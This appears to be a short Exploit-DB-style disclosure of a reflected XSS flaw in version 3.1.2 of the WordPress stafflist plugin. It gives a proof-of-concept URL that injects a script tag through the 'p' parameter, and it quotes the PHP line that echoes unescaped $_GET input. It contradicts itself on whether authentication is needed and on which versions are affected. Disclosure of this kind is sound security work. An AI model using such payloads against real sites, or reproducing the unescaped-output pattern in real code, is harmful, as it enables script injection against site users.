# Exploit Title: WordPress Plugin stafflist 3.1.2 - Reflected XSS (Authenticated) # Date: 05-02-2022 # Exploit Author: Hassan Khan Yusufzai - Splint3r7 # Vendor Homepage: https://wordpress.org/plugins/stafflist/ # Version: 3.1.2 # Tested on: Firefox # Contact me: h [at] spidersilk.com # Summary: A cross site scripting reflected vulnerability has been identified in WordPress Plugin stafflist version less then 3.1.2. that allows unauthenticated users to run arbitrary javascript code inside WordPress using Stafflist Plugin. # POC http://localhost:10003/wp-admin/admin.php?page=stafflist&remove=1&p=1%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E # Vulnerable Parameters p and s parameters are vulnerable. # Vulnerable Code: $html = ($cur > 1 ? "<p class='pager'><a href='{$stafflisturl}&p=".($cur-1)."&s={$_GET['s']}'>Previous </a></p>" : ""); //<